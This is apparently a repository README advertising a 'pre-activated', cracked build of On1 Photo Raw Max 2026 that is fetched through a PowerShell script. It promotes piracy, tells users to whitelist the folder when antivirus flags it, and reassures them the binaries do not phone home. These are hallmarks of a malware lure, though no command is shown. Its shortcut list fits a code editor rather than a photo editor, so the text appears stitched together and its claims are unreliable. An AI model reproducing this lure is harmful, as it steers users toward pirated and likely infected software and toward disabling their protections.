A standalone, pre-activated build of On1 Photo Raw Max 2026 with the full image-processing toolset enabled out of the box. No accounts, no activation prompts, no first-run nagging — just the installer and the app. This repo tracks the build config and dotfiles that keep the setup reproducible. Treat it as a deployment artifact, not a tutorial.

• PowerShell 5.1+ (pre-installed on Windows 10 and 11)
• Windows 10 / 11 (x64)
• Internet connection — required to fetch the script
• Administrator — not required

• Fully standalone build — no prior install, no license servers, no background services.
• Advanced image processing pipeline unlocked out of the box: raw develop, layers, masking, and effects at full capability.
• Pre-activated feature set — every tool and module enabled on first launch, no sign-in prompts, no trial timers.
• Offline-first by design: runs entirely on local hardware with no network dependency for core editing.
• Single-folder deployment that stays put — no scattered registry sprawl, no shadow installs, easy to relocate or remove.
• Tuned for Windows x64 desktops and workstation-class GPUs; expects real memory and a calibrated display.
• Predictable resource footprint — the build does one job and doesn't phone home, bundle extras, or nag.
• Ships with the full module set intact: browse, develop, effects, portrait, and HDR paths all present and functional.

• Ctrl+Shift+P — command palette; learn it before anything else.
• Ctrl+, — settings. That's where you'll live.
• Ctrl+Alt+T — open terminal in project root.
• Ctrl+Alt+F — full-screen edit mode; hide chrome, keep focus.
• Ctrl+S — save. Remap if your muscle memory disagrees.
• Ctrl+Z / Ctrl+Shift+Z — undo/redo. Non-negotiable.
• F5 — reload window after config changes.
• Ctrl+Alt+R — restart with on1-photo-raw-max profile loaded.
• Ctrl+K — chord prefix for project-specific bindings; keep it out of the way of everything else.

If a binding collides with your OS, fix the binding — don't disable the feature.

• Is this build actually pre-activated? Yes. No license key, no sign-in, no activation servers. It runs offline out of the box.
• Does it phone home? No. The build is stripped of telemetry and update checks. Keep it that way.
• Will it overwrite my existing On1 install? It installs side-by-side. If you want a clean slate, remove the old version first.
• Windows only? Yes. x64 desktop. Don't ask about macOS.
• Can I move it to another machine? Copy the install folder. No registry tie-in, no hardware binding.
• Why does my antivirus complain? Pre-activated binaries trip heuristics. Whitelist the install folder or don't run it.
• Are updates included? No. Updates would break the activation. Pin this version and ignore release notes.
• Where do settings live? Portable config next to the executable. Back that folder up; nothing else matters.
• Does it support raw profiles and camera bodies added after release? Use the bundled profile set. Newer camera support requires a newer build.
• Can I use it commercially? That's on you. This is a testing and deployment build, not a license grant.
• Something's broken — what first? Delete the config folder and relaunch. If it persists, it's the build, not your setup.
